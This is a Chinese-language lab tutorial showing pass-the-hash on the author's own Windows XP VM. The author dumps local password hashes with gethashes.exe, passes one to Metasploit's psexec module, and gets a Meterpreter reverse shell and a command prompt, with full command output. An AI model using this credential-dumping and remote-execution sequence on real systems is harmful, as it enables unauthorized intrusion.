首先,在本地主机(假设为目标主机) 
新建一个isosky用户,并为之设置密码,然后通过gethashes.exe获取到HASH

   
   
   
   
  1. C:\>net user isosky test  
  2. The command completed successfully.  
  3.  
  4.  
  5. C:\>gethashes.exe $local  
  6. 1:1007:C2265B23734E0DACAAD3B435B51404EE:69943C5E63B4D2C104DBBCC15138B72B:::  
  7. Administrator:500:0A174C1272FCBCF7804E0502081BA8AE:83F36A86631180CB9F5F53F5F45DF  
  8. B2B:::  
  9. Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::  
  10. HelpAssistant:1000:CF88594C2AC20629EEF3D6DABD2DA92D:0FCE98570CBB9C14E8FF200353B2  
  11. 707B:::  
  12. isosky:1003:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::  
  13.  
  14. SUPPORT_388945a0:1002:AAD3B435B51404EEAAD3B435B51404EE:F9E8AE6C7229EA07EFAC12715  
  15. F954B83:::  
  16. __vmware_user__:1006:AAD3B435B51404EEAAD3B435B51404EE:915D1CEE456EA4DD6A8094F7CE  
  17. 094448:::  
  18.  
  19. C:\>  
  20.  

 

 

   
   
   
   
  1. 然后我再返回我的BT虚拟机(***者主机)使用MSF进行测试,MSF自带的PSEXEC模块具有HASH传递***功能  
  2.  
  3. root@bt:~# msfconsole  
  4.  
  5.                 ##                          ###           ##    ##  
  6. ##  ##  #### ###### ####  #####   #####    ##    ####        ######  
  7. ####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##  
  8. ####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##  
  9. ## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##  
  10. ##   ##  #### ###   #####   #####     ##   ####   ####   #### ###  
  11.                                       ##  
  12.  
  13.  
  14.        =[ metasploit v3.7.0-release [core:3.7 api:1.0]  
  15. -- --=[ 684 exploits - 355 auxiliary  
  16. -- --=[ 217 payloads - 27 encoders - 8 nops  
  17.        =[ svn r12536 updated 76 days ago (2011.05.04)  
  18.  
  19. Warning: This copy of the Metasploit Framework was last updated 76 days ago.  
  20.          We recommend that you update the framework at least every other day.  
  21.          For information on updating your copy of Metasploit, please see:  
  22.              http://www.metasploit.com/redmine/projects/framework/wiki/Updating  
  23.  
  24. msf > use exploit/windows/smb/psexec  
  25. msf exploit(psexec) > show options  
  26.  
  27. Module options (exploit/windows/smb/psexec):  
  28.  
  29.    Name       Current Setting  Required  Description  
  30.    ----       ---------------  --------  -----------  
  31.    RHOST                       yes       The target address  
  32.    RPORT      445              yes       Set the SMB service port  
  33.    SHARE      ADMIN$           yes       The share to connect to, can be an admi                                              n share  
  34.  
  35. (ADMIN$,C$,...) or a normal read/write folder share  
  36.    SMBDomain  WORKGROUP        no        The Windows domain to use for authentic                                              ation  
  37.    SMBPass                     no        The password for the specified username  
  38.    SMBUser                     no        The username to authenticate as  
  39.  
  40.  
  41. Exploit target:  
  42.  
  43.    Id  Name  
  44.    --  ----  
  45.    0   Automatic  
  46.  
  47.  
  48. msf exploit(psexec) > set RHOST 192.168.0.254  
  49. RHOST => 192.168.0.254  
  50. msf exploit(psexec) > set SMBUser isosky  
  51. SMBUser => isosky  
  52. msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537                                              
  53.  
  54. SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537  
  55. msf exploit(psexec) > show options  
  56.  
  57. Module options (exploit/windows/smb/psexec):  
  58.  
  59.    Name       Current Setting                                                                                                  Required  
  60.  
  61. Description  
  62.    ----       ---------------                                                                                                  --------  -----  
  63.  
  64. ------  
  65.    RHOST      192.168.0.254                                                                                                    yes       The  
  66.  
  67. target address  
  68.    RPORT      445                                                                                                              yes       Set  
  69.  
  70. the SMB service port  
  71.    SHARE      ADMIN$                                                                                                           yes       The  
  72.  
  73. share to connect to, can be an admin share (ADMIN$,C$,...) or a n                                              ormal read/write folder share  
  74.    SMBDomain  WORKGROUP                                                                                                        no        The  
  75.  
  76. Windows domain to use for authentication  
  77.    SMBPass    01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537                                                no        The  
  78.  
  79. password for the specified username  
  80.    SMBUser    isosky                                                                                                           no        The  
  81.  
  82. username to authenticate as  
  83.  
  84.  
  85. Exploit target:  
  86.  
  87.    Id  Name  
  88.    --  ----  
  89.    0   Automatic  
  90.  
  91.  
  92. msf exploit(psexec) > exploit  
  93.  
  94. [*] Started reverse handler on 192.168.0.3:4444  
  95. [*] Connecting to the server...  
  96. [*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...  
  97. [*] Uploading payload...  
  98. [*] Created \UGdecsam.exe...  
  99. [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...  
  100. [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...  
  101. [*] Obtaining a service manager handle...  
  102. [*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...  
  103. [*] Closing service handle...  
  104. [*] Opening service...  
  105. [*] Starting the service...  
  106. [*] Removing the service...  
  107. [*] Closing service handle...  
  108. [*] Deleting \UGdecsam.exe...  
  109. [*] Sending stage (749056 bytes) to 192.168.0.254  
  110. [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800  
  111.  
  112. meterpreter > sysinfo  
  113. Computer        : ISOSKY-PC  
  114. OS              : Windows XP (Build 2600, Service Pack 2).  
  115. Architecture    : x86  
  116. System Language : zh_CN  
  117. Meterpreter     : x86/win32  
  118. meterpreter > shell  
  119. Process 4596 created.  
  120. Channel 1 created.  
  121. Microsoft Windows XP [Version 5.1.2600]  
  122. (C) Copyright 1985-2001 Microsoft Corp.  
  123.  
  124. C:\WINDOWS\system32>net user  
  125. net user  
  126.  
  127. User accounts for \\  
  128.  
  129. -------------------------------------------------------------------------------  
  130. __vmware_user__          1                        Administrator  
  131. Guest                    HelpAssistant            isosky  
  132. SUPPORT_388945a0  
  133. The command completed with one or more errors.  
  134.  
  135.  
  136. C:\WINDOWS\system32>  

至此,我们已经成功获得目标的CMDSHELL